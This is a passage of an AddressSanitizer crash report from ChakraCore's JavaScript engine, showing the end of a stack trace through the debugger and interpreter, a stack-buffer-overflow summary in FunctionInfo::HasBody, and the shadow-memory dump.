#134 0x55fa25fa8973 in JsrtDebugManager::CallDebugEventCallback(_JsDiagDebugEvent, Js::DynamicObject*, Js::ScriptContext*, bool)::$_2::operator()() const /root/ChakraCore-2023-6/lib/Jsrt/JsrtDebugManager.cpp:419:13
#135 0x55fa25fa8973 in JsrtDebugManager::CallDebugEventCallback(_JsDiagDebugEvent, Js::DynamicObject*, Js::ScriptContext*, bool) /root/ChakraCore-2023-6/lib/Jsrt/JsrtDebugManager.cpp:431
#136 0x55fa25faacc2 in JsrtDebugManager::CallDebugEventCallbackForBreak(_JsDiagDebugEvent, Js::DynamicObject*, Js::ScriptContext*) /root/ChakraCore-2023-6/lib/Jsrt/JsrtDebugManager.cpp:445:11
#137 0x55fa25fa6432 in JsrtDebugManager::ReportBreak(Js::InterpreterHaltState*) /root/ChakraCore-2023-6/lib/Jsrt/JsrtDebugManager.cpp:293:15
#138 0x55fa25fa5c0e in JsrtDebugManager::DispatchHalt(Js::InterpreterHaltState*) /root/ChakraCore-2023-6/lib/Jsrt/JsrtDebugManager.cpp
#139 0x55fa266618ca in Js::ProbeContainer::DispatchStepHandler(Js::InterpreterHaltState*, Js::OpCode*)::$_1::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Debug/ProbeContainer.cpp:285:40
#140 0x55fa266618ca in void TryFinally(Js::ProbeContainer::DispatchStepHandler(Js::InterpreterHaltState*, Js::OpCode*)::$_1 const&, Js::ProbeContainer::DispatchStepHandler(Js::InterpreterHaltState*, Js::OpCode*)::$_2 const&) /root/ChakraCore-2023-6/lib/Common/CommonPal.h:661
#141 0x55fa266618ca in Js::ProbeContainer::DispatchStepHandler(Js::InterpreterHaltState*, Js::OpCode*) /root/ChakraCore-2023-6/lib/Runtime/Debug/ProbeContainer.cpp:270
#142 0x55fa268abc1f in Js::InterpreterStackFrame::ProcessWithDebugging() /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterLoop.inl:217:82
#143 0x55fa2688a7ff in Js::InterpreterStackFrame::DebugProcess() /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:2517:34
#144 0x55fa26888543 in Js::InterpreterStackFrame::InterpreterHelper(Js::ScriptFunction*, Js::ArgumentReader, void*, void*, Js::InterpreterStackFrame::AsmJsReturnStruct*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:2143:40
#145 0x55fa26886d7c in Js::InterpreterStackFrame::InterpreterThunk(Js::JavascriptCallStackLayout*) /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterStackFrame.cpp:1833:16
#146 0x7f1ef66e0f99 ()
#147 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#148 0x55fa2636f3f2 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda'()::operator()() const::'lambda'()::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4681:36
#149 0x55fa2636f3f2 in void* ThreadContext::SafeReentrantCall(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda'()::operator()() const::'lambda'()) /root/ChakraCore-2023-6/lib/Runtime/./Base/ThreadContext.h:1812
#150 0x55fa2636f3f2 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda'()::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4678
#151 0x55fa2636f3f2 in void TryFinally(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda'() const&, Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const::'lambda'(bool) const&) /root/ChakraCore-2023-6/lib/Common/CommonPal.h:661
#152 0x55fa2636f3f2 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9::operator()() const /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4676
#153 0x55fa2636f3f2 in void TryFinally(Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_9 const&, Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...)::$_10 const&) /root/ChakraCore-2023-6/lib/Common/CommonPal.h:661
#154 0x55fa2636f3f2 in Js::ScriptContext::DebugProfileProbeThunk(Js::RecyclableObject*, Js::CallInfo, ...) /root/ChakraCore-2023-6/lib/Runtime/Base/ScriptContext.cpp:4635
#155 0x55fa2763275d in amd64_CallFunction /root/ChakraCore-2023-6/lib/Runtime/Library/amd64/JavascriptFunctionA.S:100
#156 0x55fa27049096 in Js::JavascriptFunction::CallRootFunctionInternal(Js::RecyclableObject*, Js::Arguments, Js::ScriptContext*, bool) /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptFunction.cpp:772:24
#157 0x55fa27048c7e in Js::JavascriptFunction::CallRootFunction(Js::RecyclableObject*, Js::Arguments, Js::ScriptContext*, bool) /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptFunction.cpp:717:15
#158 0x55fa27048c7e in Js::JavascriptFunction::CallRootFunction(Js::Arguments, Js::ScriptContext*, bool) /root/ChakraCore-2023-6/lib/Runtime/Library/JavascriptFunction.cpp:832
#159 0x55fa25f379c0 in JsCallFunction::$_65::operator()(Js::ScriptContext*, TTD::TTDJsRTActionResultAutoRecorder&) const /root/ChakraCore-2023-6/lib/Jsrt/Jsrt.cpp:2842:41
#160 0x55fa25f379c0 in _JsErrorCode ContextAPIWrapper(JsCallFunction::$_65)::'lambda'(Js::ScriptContext*)::operator()(Js::ScriptContext*) const /root/ChakraCore-2023-6/lib/Jsrt/JsrtInternal.h:237
#161 0x55fa25f379c0 in _JsErrorCode ContextAPIWrapper_Core(JsCallFunction::$_65)::'lambda'(Js::ScriptContext*)>(JsCallFunction::$_65) /root/ChakraCore-2023-6/lib/Jsrt/JsrtInternal.h:192
#162 0x55fa25f379c0 in _JsErrorCode ContextAPIWrapper(JsCallFunction::$_65) /root/ChakraCore-2023-6/lib/Jsrt/JsrtInternal.h:235
#163 0x55fa25f379c0 in JsCallFunction /root/ChakraCore-2023-6/lib/Jsrt/Jsrt.cpp:2804
#164 0x55fa25dc34ee in ChakraRTInterface::JsCallFunction(void*, void**, unsigned short, void**) /root/ChakraCore-2023-6/bin/ch/ChakraRtInterface.h:416:149
#165 0x55fa25dc34ee in WScriptJsrt::CallbackMessage::CallFunction(char const*) /root/ChakraCore-2023-6/bin/ch/WScriptJsrt.cpp:2009
#166 0x55fa25dc87e2 in WScriptJsrt::AttachCallback(void*, bool, void**, unsigned short, void*)::$_1::operator()(WScriptJsrt::CallbackMessage&) const /root/ChakraCore-2023-6/bin/ch/WScriptJsrt.cpp:963:20
#167 0x55fa25dc87e2 in CustomMessage::Call(char const*) /root/ChakraCore-2023-6/bin/ch/MessageQueue.h:281
#168 0x55fa25d8c1ac in MessageQueue::ProcessAll(char const*) /root/ChakraCore-2023-6/bin/ch/MessageQueue.h:256:18
#169 0x55fa25d8c1ac in RunScript(char const*, char const*, unsigned long, void (*)(void*), void*, char*, void*) /root/ChakraCore-2023-6/bin/ch/ch.cpp:480
#170 0x55fa25d90990 in ExecuteTest(char const*) /root/ChakraCore-2023-6/bin/ch/ch.cpp:917:13
#171 0x55fa25d92177 in ExecuteTestWithMemoryCheck(char*) /root/ChakraCore-2023-6/bin/ch/ch.cpp:967:10
#172 0x55fa25d92177 in main /root/ChakraCore-2023-6/bin/ch/ch.cpp:1274
#173 0x7f1efad56c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#174 0x55fa25c8dc69 in _start (/home/tangsong/engines/all_version/ChakraCore/ChakraCore-2023-6/sanitize/ch+0x2c6c69)

Address 0x7ffef183a2c0 is located in stack of thread T0 at offset 640 in frame
#0 0x55fa2695a10f in Js::InterpreterStackFrame::ProcessProfiled() /root/ChakraCore-2023-6/lib/Runtime/Language/InterpreterLoop.inl:161

This frame has 17 object(s):
[32, 40) 'thisVar.i'
[64, 70) 'ldElemInfo.i'
[96, 112) 'agg.tmp36.i.i'
[128, 144) 'agg.tmp2.i.i.i.i3218'
[160, 176) 'agg.tmp2.i.i.i.i3200'
[192, 208) 'agg.tmp2.i.i.i.i3177'
[224, 240) 'agg.tmp2.i.i.i.i'
[256, 272) 'agg.tmp2.i.i.i'
[288, 352) 'info.i.i2935'
[384, 448) 'info.i.i2894'
[480, 544) 'info.i.i2858'
[576, 640) 'info.i.i2828' <== Memory access at offset 640 overflows this variable
[672, 736) 'info.i.i'
[768, 776) 'ip.addr.i'
[800, 808) 'ip' (line 185)
[832, 840) 'yieldValue' (line 363)
[864, 872) 'yieldValue1491' (line 372)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /root/ChakraCore-2023-6/lib/Runtime/./Base/FunctionInfo.h:88:39 in Js::FunctionInfo::HasBody() const
Shadow bytes around the buggy address:
0x10005e2ff400: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 f8 f2 f2 f2
0x10005e2ff410: f8 f2 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2
0x10005e2ff420: f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f2 f2 f8 f8 f8 f8
0x10005e2ff430: f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 f8 f8 f8 f8
0x10005e2ff440: f2 f2 f2 f2 f8 f8 f8 f8 f8 f8 f8 f8 f2 f2 f2 f2
=>0x10005e2ff450: f8 f8 f8 f8 f8 f8 f8 f8[f2]f2 f2 f2 f8 f8 f8 f8
0x10005e2ff460: f8 f8 f8 f8 f2 f2 f2 f2 f8 f2 f2 f2 00 f2 f2 f2
0x10005e2ff470: f8 f2 f2 f2 f8 f3 f3 f3 00 00 00 00 00 00 00 00
0x10005e2ff480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005e2ff490: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10005e2ff4a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==25576==ABORTING
```